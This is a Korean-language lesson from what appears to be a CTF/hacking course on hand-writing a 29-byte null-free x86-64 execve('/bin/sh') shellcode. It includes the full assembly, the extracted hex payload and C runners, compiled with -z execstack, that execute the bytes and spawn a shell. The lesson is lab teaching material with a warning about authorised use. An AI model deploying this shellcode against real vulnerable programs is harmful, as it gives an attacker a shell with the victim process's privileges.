Step 203. shellcode 작성: execve 쉘코드 손으로 만들기 — 쉘을 띄우는 29바이트

Step 203. shellcode 작성: execve 쉘코드 손으로 만들기 — 쉘을 띄우는 29바이트

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★★ | 예상 소요 시간 5시간

전제: Step 62의 버퍼 오버플로우와 Step 50의 hex를 안다. WSL 우분투에서 gcc를 쓸 수 있다. 레지스터와 시스템 콜의 존재를 들어 봤다.

  • 준비물: WSL 우분투 터미널, gcc와 binutils(as, ld, objdump, objcopy). 실측 환경은 Ubuntu 24.04, gcc 13.3.0, x86-64입니다.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. 오늘의 쉘코드는 여러분이 직접 만든 실험 프로그램 안에서만 실행합니다.

쉘코드(shellcode)는 메모리에 심어 실행시키는 날것의 기계어입니다. C 소스도, 실행 파일 껍데기도 없이 — CPU가 바로 뜯어먹는 바이트 열입니다. 그 목표는 관례적으로 하나입니다. execve("/bin/sh", ...) — 쉘을 띄우는 시스템 콜. 쉘을 띄웠다는 것은 그 프로그램의 권한으로 무엇이든 할 수 있게 됐다는 뜻이니, 쉘코드는 공격의 종착지입니다.

오늘 우리는 이 쉘코드를 손으로 만듭니다. 어셈블리를 쓰고, 기계어로 어셈블하고, 바이트를 추출하고, C 실험 장치에 심어 실제로 쉘이 뜨는 것까지 확인합니다. 그리고 그 과정에서 쉘코드만의 특수한 제약 — 널 바이트 금지 — 을 몸으로 겪습니다. 어렵습니다. 처음엔 헷갈립니다. 정상입니다. 하지만 끝나고 나면 "쉘을 띄운다"는 말이 마법이 아니라 29바이트의 물리로 보이게 됩니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • execve 시스템 콜의 호출 규약(rax=59, rdi, rsi, rdx)을 설명한다
  • GNU 어셈블러(as/ld)로 어셈블리를 기계어로 만들고 objdump로 바이트를 읽는다
  • 널 바이트가 왜 쉘코드를 죽이는지, 회피 기법 세 가지와 함께 설명한다
  • 스택에 문자열 주소를 만드는 push 기법을 이해한다
  • C 테스트 하네스로 쉘코드를 실행해 쉘이 뜨는 것을 확인한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 x86-64 어셈블리(Intel 문법), C(테스트 하네스), WSL 우분투 bash
오늘의 명령 as(어셈블), ld(링크), objdump -d(기계어 읽기), objcopy -O binary(바이트 추출), xxd -p(헥스 덤프)
필요한 개념 시스템 콜, 레지스터 호출 규약, 널 바이트 제약, NX(실행 금지 메모리)와 -z execstack
오늘의 산출물 널 프리 execve 쉘코드 29바이트 + 실행 검증

2-1. 시스템 콜과 호출 규약

프로그램이 운영체제에게 "프로그램을 실행해 줘"라고 부탁하는 정문이 시스템 콜(system call)입니다. 64비트 리눅스에서는 규약이 정해져 있습니다.

레지스터 역할 execve에 넣을 값
rax 시스템 콜 번호 59 (execve의 번호)
rdi 첫 번째 인자 "/bin/sh" 문자열의 주소
rsi 두 번째 인자 0 (argv — 인자 없음)
rdx 세 번째 인자 0 (envp — 환경 변수 없음)

이 네 칸을 채우고 syscall 명령을 실행하면, 커널이 /bin/sh를 띄웁니다. 오늘의 어셈블리는 전부 이 표를 채우는 과정입니다.

2-2. 널 바이트 금지 — 쉘코드의 특수 규칙

쉘코드는 대개 버퍼 오버플로우 같은 경로로 문자열처럼 메모리에 들어갑니다. 그런데 C의 문자열 복사는 \x00(널 바이트)에서 멈춥니다. 쉘코드 중간에 \x00이 하나라도 있으면, 그 지점에서 잘려 나가는 것입니다.

그래서 쉘코드 작성에는 평소와 다른 문법이 강제됩니다.

mov rax, 0      → 기계어에 00 00 00 00 이 박힌다 → 금지
xor rax, rax    → 같은 결과(0)인데 00이 없다      → 채택

mov rax, 59     → 3b 00 00 00 00 00 00 00 → 금지
mov al, 59      → b0 3b                      → 채택 (rax의 나머지는 xor로 미리 0)

2-3. 문자열 주소 만들기 — push의 기술

execve"/bin/sh"주소를 원합니다. 그런데 쉘코드에는 데이터 영역이 없습니다 — 바이트 열만 들고 뛰어드니까요. 해법은 스택에 그 자리에서 문자열을 쌓는 것입니다.

"/bin//sh"(여덟 글자 — 슬래시를 하나 붙이면 /bin/sh와 동일하게 동작합니다)를 하나의 8바이트 수 0x68732f2f6e69622f로 표현해 레지스터에 넣고, 스택에 push합니다. 스택의 그 자리가 곧 문자열 주소가 됩니다. 8바이트 전부 0이 아닌 값으로 채워 널 바이트도 피하는 일석이조의 고전 기술입니다.

2-4. 어셈블러 — nasm이 없어도 된다

쉘코드 예제는 흔히 nasm 문법으로 소개되지만, 우분투에는 기본으로 GNU 도구(as, ld)가 있습니다. 실측 환경에도 nasm은 없고 as/ld/gcc/objdump가 있었습니다 (2026-09-09 확인). as.intel_syntax noprefix 한 줄을 넣으면 익숙한 Intel 문법 그대로 쓸 수 있습니다.

참고로 실전에서는 pwntools의 shellcraft가 이 작업을 자동으로 해 줍니다 — asm(shellcraft.sh()) 한 줄이면 쉘코드 바이트가 나옵니다. 오늘 우리가 손으로 만드는 이유는 그 자동 생성물을 읽을 수 있는 눈을 얻기 위해서입니다. 생성된 어셈블리를 한 줄씩 해독할 수 있으면 실전 목표 달성입니다.

2-5. NX와 테스트 하네스

최신 시스템은 데이터 영역과 스택에 NX(Non-eXecutable, 실행 금지) 표시를 해 둡니다. 쉘코드가 심어지는 곳이 실행 불가라는 뜻이고, 그래서 실전 공격은 ROP 같은 우회로 갑니다. 오늘은 쉘코드 자체의 검증이 목적이니, 테스트 프로그램에 한해 -z execstack 옵션으로 스택 실행을 허용합니다. 이것은 실험실의 안전장치 해제이지 실전 기법이 아닙니다.


3. 따라 하기

3-1. 나쁜 쉘코드 — 널 바이트의 실물

일부러 규칙을 어긴 버전부터 만듭니다. 작업 폴더를 만들고 bad.asm을 작성하세요.

입력 (bad.asm)

.intel_syntax noprefix
.global _start
_start:
    mov rax, 59
    mov rdi, 0
    mov rsi, 0
    mov rdx, 0
    syscall

어셈블과 디스어셈블

as bad.asm -o bad.o && ld bad.o -o bad
objdump -d bad

출력 (2026-09-09 실측, Ubuntu 24.04):

0000000000401000 <_start>:
  401000:	48 c7 c0 3b 00 00 00 	mov    $0x3b,%rax
  401007:	48 c7 c7 00 00 00 00 	mov    $0x0,%rdi
  40100e:	48 c7 c6 00 00 00 00 	mov    $0x0,%rsi
  401015:	48 c7 c2 00 00 00 00 	mov    $0x0,%rdx
  40101c:	0f 05                	syscall

읽는 법: 가운데 열이 기계어 바이트입니다. 00이 곳곳에 박혀 있습니다 — 실제로 세어 보면 (2026-09-09 실측):

objcopy -O binary --only-section=.text bad bad.bin
python3 -c "d=open('bad.bin','rb').read(); print('크기:', len(d), '널 바이트:', d.count(0))"
크기: 30 널 바이트: 15

: 서른 바이트 중 열다섯이 널입니다. 이 바이트 열은 문자열 경로로 심는 순간 네 번째 바이트에서 잘립니다. "논리적으로 맞는 코드"와 "쉘코드로 쓸 수 있는 코드"는 다르다 — 이것이 오늘의 출발점입니다.

3-2. 절단 시연 — 널이 문자열을 어떻게 자르는가

널 바이트의 절단을 눈으로 확인합니다. nullcut.c입니다.

입력 (nullcut.c)

#include <stdio.h>
#include <string.h>
int main(void) {
    char bad[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc7";
    char good[] = "\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e";
    printf("널 포함 버전, 문자열로 복사 시 길이: %zu\n", strlen(bad));
    printf("널 프리 버전, 문자열로 복사 시 길이: %zu\n", strlen(good));
    return 0;
}
gcc nullcut.c -o nullcut && ./nullcut

출력 (2026-09-09 실측):

널 포함 버전, 문자열로 복사 시 길이: 4
널 프리 버전, 문자열로 복사 시 길이: 10

읽는 법: bad는 열 바이트를 넣었지만 strlen은 4를 봅니다 — 다섯 번째 바이트가 \x00이라 거기서 끝으로 친 것입니다. 쉘코드가 이 경로로 들어가면 앞의 네 바이트만 심어집니다. 공격이 "조용히 실패"하는 대표 원인입니다.

3-3. 널 프리 쉘코드 설계 — 한 줄씩

이제 진짜를 만듭니다. 호출 규약 표(2-1)를 널 없이 채우는 것이 전부입니다. shell.asm입니다.

입력 (shell.asm)

.intel_syntax noprefix
.global _start
_start:
    xor rdx, rdx                     ; rdx = 0 (envp)
    push rdx                         ; 스택에 8바이트의 0 — 문자열 끝 표식 겸용
    mov rbx, 0x68732f2f6e69622f      ; "/bin//sh"를 통째로 하나의 수로
    push rbx                         ; 스택에 문자열이 놓였다
    mov rdi, rsp                     ; rdi = "/bin//sh"의 주소
    push rdx                         ; argv 배열 만들기: NULL 하나
    push rdi                         ; 그리고 문자열 주소 하나
    mov rsi, rsp                     ; rsi = argv의 주소 ["/bin//sh", NULL]
    xor eax, eax                     ; rax = 0
    mov al, 59                       ; rax = 59 (execve) — al만 건드려 널 회피
    syscall

한 줄씩 읽기:

  • xor rdx, rdx — 레지스터를 자기 자신과 XOR하면 0이 됩니다. mov rdx, 0과 결과는 같지만 기계어에 00이 없습니다.
  • mov rbx, 0x68732f2f6e69622f — 겉보기엔 수수께끼의 수지만, 이진수로 쪼개면 2f 62 69 6e 2f 2f 73 68 — 리틀 엔디안 순서의 /bin//sh입니다. 여덟 바이트 중 0이 하나도 없습니다.
  • push rdx / push rbx — 스택 위에 \x00\x00...\x00/bin//sh가 쌓입니다. 문자열과 그 끝 표식이 완성됐습니다.
  • push rdx / push rdi / mov rsi, rsp — argv 배열을 스택에 즉석으로 만듭니다. execve의 두 번째 인자는 "포인터의 배열"이라 이 단계가 필요합니다.
  • xor eax, eax + mov al, 59 — rax 전체를 0으로 만든 뒤 맨 아래 한 바이트(al)만 59로. mov rax, 59의 널 일곱 개를 피하는 수법입니다.

3-4. 어셈블과 바이트 추출

as shell.asm -o shell.o && ld shell.o -o shell
objdump -d shell

출력 (2026-09-09 실측):

0000000000401000 <_start>:
  401000:	48 31 d2             	xor    %rdx,%rdx
  401003:	52                   	push   %rdx
  401004:	48 bb 2f 62 69 6e 2f 	movabs $0x68732f2f6e69622f,%rbx
  40100b:	2f 73 68 
  40100e:	53                   	push   %rbx
  40100f:	48 89 e7             	mov    %rsp,%rdi
  401012:	52                   	push   %rdx
  401013:	57                   	push   %rdi
  401014:	48 89 e6             	mov    %rsp,%rsi
  401017:	31 c0                	xor    %eax,%eax
  401019:	b0 3b                	mov    $0x3b,%al
  40101b:	0f 05                	syscall

기계어 열에 00이 하나도 없습니다. 바이트를 파일로 뽑아 검증합니다 (2026-09-09 실측):

objcopy -O binary --only-section=.text shell shell.bin
python3 -c "d=open('shell.bin','rb').read(); print('크기:', len(d), '바이트 / 널 바이트:', d.count(0))"
xxd -p shell.bin | tr -d '\n'; echo
크기: 29 바이트 / 널 바이트: 0
4831d25248bb2f62696e2f2f7368534889e752574889e631c0b03b0f05

읽는 법: 29바이트, 널 제로. 이 헥스 열이 오늘의 쉘코드입니다. 2f 62 69 6e 2f 2f 73 68 구간이 /bin//sh 문자열 그 자체임을 대조해 보세요 — 기계어 속에 데이터가 박혀 있는 모습입니다.

3-5. 테스트 하네스 — 함정 먼저

바이트를 실행할 실험 장치를 만듭니다. 흔한 첫 시도 — 배열을 전역으로 선언하는 것 — 부터 보여 드립니다. 이 버전은 실패합니다.

입력 (runner.c — 실패 버전)

#include <stdio.h>
unsigned char code[] =
"\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05";
int main(void) {
    printf("쉘코드 크기: %zu 바이트\n", sizeof(code) - 1);
    (*(void(*)())code)();
    return 0;
}
gcc runner.c -o runner -z execstack
./runner

출력 (2026-09-09 실측):

Segmentation fault (core dumped)

읽는 법: -z execstack스택의 실행 금지를 풀 뿐입니다. 전역 배열 code는 스택이 아니라 데이터 영역(.data)에 살고, 데이터 영역은 여전히 실행 금지입니다. 쉘코드가 맞는데도 죽는 대표 함정입니다 — 죽은 곳의 "주소"를 봐야 원인이 보입니다.

3-6. 성공 버전 — 스택 위에서 실행

배열을 main 안의 지역 변수로 옮기면 코드는 스택에 놓이고, -z execstack으로 풀어 둔 그 스택에서 실행됩니다.

입력 (runner2.c)

#include <stdio.h>
int main(void) {
    unsigned char code[] =
    "\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05";
    printf("쉘코드 크기: %zu 바이트\n", sizeof(code) - 1);
    printf("code 주소: %p\n", (void *)code);
    (*(void(*)())code)();
    return 0;
}
gcc runner2.c -o runner2 -z execstack
echo "echo [쉘코드 쉘 도착]; id; whoami; exit" | ./runner2

출력 (2026-09-09 실측):

[쉘코드 쉘 도착]
uid=0(root) gid=0(root) groups=0(root)
root
리턴 코드: 0

읽는 법: ./runner2가 실행한 쉘코드가 /bin/sh를 띄웠고, 파이프로 넣은 명령들이 그 쉘에서 실행됐습니다. idwhoami의 응답이 그 증거입니다. (실측 환경의 사용자가 root라 저렇게 표시됐습니다. 여러분의 환경에서는 본인 계정이 출력됩니다.) execve는 현재 프로그램을 새 프로그램으로 교체하므로, 쉘이 exit로 끝나면 runner로 돌아오는 코드는 없습니다 — 프로세스 자체가 쉘이 된 것입니다.

: 이 순간 여러분은 29바이트의 숫자 나열로 프로세스를 교체했습니다. 버퍼 오버플로우 공격의 마지막 장면 — "덮어쓴 자리에서 이 바이트들이 실행된다" — 가 무엇을 의미하는지, 이제 손으로 압니다.


4. 미션과 연습문제

미션 — 나만의 쉘코드와 널 프리 증명서

  1. 3-3의 shell.asm을 어셈블해 29바이트 널 프리 바이트 열을 얻습니다
  2. "/bin//sh" 대신 "/bin/sh"(일곱 글자) 버전을 스스로 설계해 봅니다 — 힌트: 7바이트라 0x68732f6e69622f이고, 상위 바이트가 0이 되므로 그대로 mov하면 널이 생깁니다. 어떻게 피할지 고민해 보세요
  3. runner2 방식으로 두 쉘코드 모두 실행해 쉘이 뜨는 것을 확인합니다
  4. 각 쉘코드의 바이트 수와 널 바이트 0개임을 python3 한 줄로 검증한 기록을 남깁니다

연습문제

문제 1. execve 시스템 콜을 위해 채워야 할 네 레지스터와 그 값을 적어 보세요.

문제 2. mov rax, 59 대신 xor eax, eax + mov al, 59를 쓰는 이유를 기계어 바이트 관점에서 설명해 보세요.

문제 3. 쉘코드가 데이터 영역 없이 "/bin//sh" 문자열의 주소를 확보하는 방법을 설명해 보세요. 슬래시를 하나 더 쓰는 이유도 함께요.

문제 4. 3-5에서 -z execstack으로 컴파일했는데도 세그폴트가 난 이유는 무엇인가요? 왜 지역 배열로 옮기면 해결되나요?


5. 모범 답안과 완료 기준

미션 모범 답안

1·3·4번은 본문 3-4~3-6의 실측 절차 그대로입니다. 2번의 "/bin/sh" 7바이트 버전 설계안의 예:

.intel_syntax noprefix
.global _start
_start:
    xor rdx, rdx
    push rdx                         ; 문자열 끝 표식
    mov bx, 0x6873                   ; "sh"
    push rbx                         ;   ← 16비트만 넣어 상위가 0
    mov rbx, 0x6e69622f              ; "/bin"
    ...

더 단순한 정답도 있습니다 — 8바이트 수에서 시프트로 1바이트를 밀어 내는 방법입니다. mov rbx, 0x68732f6e69622fffshr rbx, 8이면 상위 바이트가 0으로 지워져 스택에 "\x00" + "/bin/sh"가 놓입니다. 어느 쪽이든 요구 조건은 같습니다 — 널을 "상수로 박지 않고 연산으로 만든다".

검증하는 법: ① objdump -d 출력에 00이 없는가. ② 추출한 바이트 수와 널 개수가 파이썬 한 줄로 기록됐는가. ③ runner2로 실행해 id 같은 명령의 출력을 받았는가.

연습문제 해답

문제 1 해답. rax = 59 (execve 시스템 콜 번호), rdi = "/bin/sh" 문자열의 주소, rsi = 0 (argv 없음), rdx = 0 (envp 없음). 이후 syscall로 커널에 넘깁니다.

문제 2 해답. mov rax, 59는 8바이트 상수를 통째로 인코딩해서 기계어가 48 c7 c0 3b 00 00 00 — 널 네 개 포함 — 이 됩니다 (3-1 실측). xor eax, eax(31 c0)로 전체를 0으로 만든 뒤 mov al, 59(b0 3b)로 맨 아래 바이트만 바꾸면, rax는 59가 되면서도 바이트 열에 널이 없습니다.

문제 3 해답. 스택에 그 자리에서 쌓습니다. "/bin//sh" 여덟 글자를 하나의 8바이트 수로 표현해 레지스터에 넣고 push하면, 그 스택 위치가 곧 문자열의 시작 주소입니다. 슬래시를 하나 더 쓰는 것은 정확히 8바이트를 채워 상수의 모든 바이트를 0이 아닌 값으로 만들기 위해서입니다 — /bin//sh/bin/sh와 동일하게 동작합니다.

문제 4 해답. -z execstack은 스택의 실행 금지만 풉니다. 전역 배열은 데이터 영역(.data)에 배치되어 여전히 실행 불가라, 그 주소로 점프하는 순간 세그폴트가 납니다 (3-5 실측). 지역 배열은 스택에 놓이므로, 실행이 허용된 스택 위에서 쉘코드가 동작합니다.

완료 기준 체크리스트

  • [ ] execve 호출 규약(rax=59, rdi/rsi/rdx)을 표로 말할 수 있다
  • [ ] asld로 어셈블하고 objdump -d로 기계어를 읽을 수 있다
  • [ ] objcopy -O binary --only-section=.text로 순수 바이트를 추출할 수 있다
  • [ ] 널 바이트가 쉘코드를 죽이는 원리(문자열 절단)를 설명할 수 있다
  • [ ] xor, al 조작, 스택 push 문자열의 널 회피 기법 세 가지를 안다
  • [ ] /bin//sh를 하나의 8바이트 수로 읽을 수 있다 (0x68732f2f6e69622f)
  • [ ] 미션: 내 쉘코드로 쉘을 띄우고 널 프리 검증 기록을 남겼다

6. 흔한 실수와 해결

벽 1. -z execstack을 줬는데도 세그폴트가 난다

증상 (2026-09-09 실측):

Segmentation fault (core dumped)

원인: 쉘코드 배열을 전역으로 선언해 데이터 영역에 놓였습니다. execstack은 스택만 풉니다.
해결: 배열을 main 안의 지역 변수로 옮기세요 (3-6). 또는 쉘코드 주소를 출력해 어디에 놓였는지 확인하는 습관을 들이세요 — 주소가 어느 영역인지가 곧 원인입니다.

벽 2. 쉘은 떴는데 명령이 안 먹는다

증상: runner를 실행하면 아무 출력 없이 조용하거나 바로 종료됩니다.
원인: 쉘이 표준 입력을 기다리는데 터미널 상호작용 없이 끝났거나, 파이프 입력이 비어 있습니다.
해결: 본문처럼 echo "명령들; exit" | ./runner2로 명령을 파이프로 넣어 확인하세요. 대화형으로 확인할 때는 ./runner2 실행 후 프롬프트 없이 명령을 쳐 보세요 — 쉘은 떠 있지만 프롬프트가 안 보일 뿐인 경우가 있습니다.

벽 3. nasm 문법 그대로 치니 as가 에러를 낸다

증상: section .text 같은 줄에서 파싱 에러가 납니다.
원인: GNU as와 nasm은 지시어가 다릅니다.
해결: 본문 형식을 그대로 쓰세요 — .intel_syntax noprefix.global _start면 충분합니다. as는 기본이 AT&T 문법이라 첫 줄의 Intel 선언을 빼면 피연산자 순서가 뒤집혀 엉뚱한 코드가 됩니다.

벽 4. 쉘코드를 실행했는데 exit 후 메시지가 이상하다

증상: 쉘 종료 후 runner가 크래시한 것처럼 보입니다.
원인: 그럴 일이 없는 것이 정상입니다 — execve는 프로세스를 통째로 교체해서 "돌아올 runner"가 존재하지 않습니다.
해결: 버그가 아니라 execve의 정의입니다. 만약 exit 없는 쉘코드를 만들어 (예: 다른 시스템 콜 실험) 실행한 뒤 흐름이 runner로 돌아오게 설계했다면, 그때는 리턴 주소가 없어 크래시가 나는 것이 정상입니다.

벽 5. 문자열 상수를 직접 박아 넣었다가 널이 생긴다

증상: mov rbx, 0x68732f6e69622f ("/bin/sh" 7바이트)로 하니 objdump에 00이 보입니다.
원인: 7바이트 상수는 8바이트로 인코딩될 때 상위가 0으로 채워집니다.
해결: 미션 2번의 해법처럼 8바이트를 꽉 채운 뒤 shr로 밀어 내거나, 두 번에 나눠 push하세요. 널은 "상수로 박는" 것이 아니라 "연산으로 만드는" 것이 원칙입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
쉘코드 메모리에 심어 실행시키는 날것의 기계어 — 목표는 보통 execve("/bin/sh")
시스템 콜 호출 규약 rax=번호, rdi/rsi/rdx=인자 순서의 약속 (execve는 59)
널 바이트 제약 문자열 경로로 심는 쉘코드는 \x00에서 잘린다
널 회피 기법 xor로 0 만들기, al 등 부분 레지스터, 연산으로 널 생성
push 문자열 데이터 영역 없이 스택에 문자열을 즉석으로 쌓는 기술
NX와 execstack 실행 금지 메모리와, 실험실에서 스택만 푸는 컴파일 옵션

오늘의 명령어

명령 하는 일
as shell.asm -o shell.o 어셈블리 → 오브젝트 파일
ld shell.o -o shell 오브젝트 → 실행 파일
objdump -d shell 기계어 바이트와 니모닉 나란히 보기
objcopy -O binary --only-section=.text shell shell.bin 코드 바이트만 순수하게 추출
xxd -p shell.bin 바이트를 헥스 문자열로 덤프
gcc runner2.c -o runner2 -z execstack 스택 실행 허용 테스트 하네스 (실험실 전용)

명령어보다 중요한 감각

오늘 만든 29바이트는 숫자 나열이면서 프로그램입니다. 쉘코드 작성의 본질은 암기가 아니라 제약 속의 설계 — 호출 규약이라는 목표, 널 금지라는 제약, 데이터 영역 부재라는 환경 속에서 최적해를 찾는 일입니다. 이 감각이 있으면 shellcraft가 뱉는 자동 생성물도 "왜 이 순서인가"가 읽히기 시작하고, 나아가 NX 앞에서 왜 ROP로 가야 하는지도 자연스럽게 이어집니다. 쉘을 띄우는 것이 마법에서 물리로 바뀐 날입니다.


전부 체크되면 Step 203 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.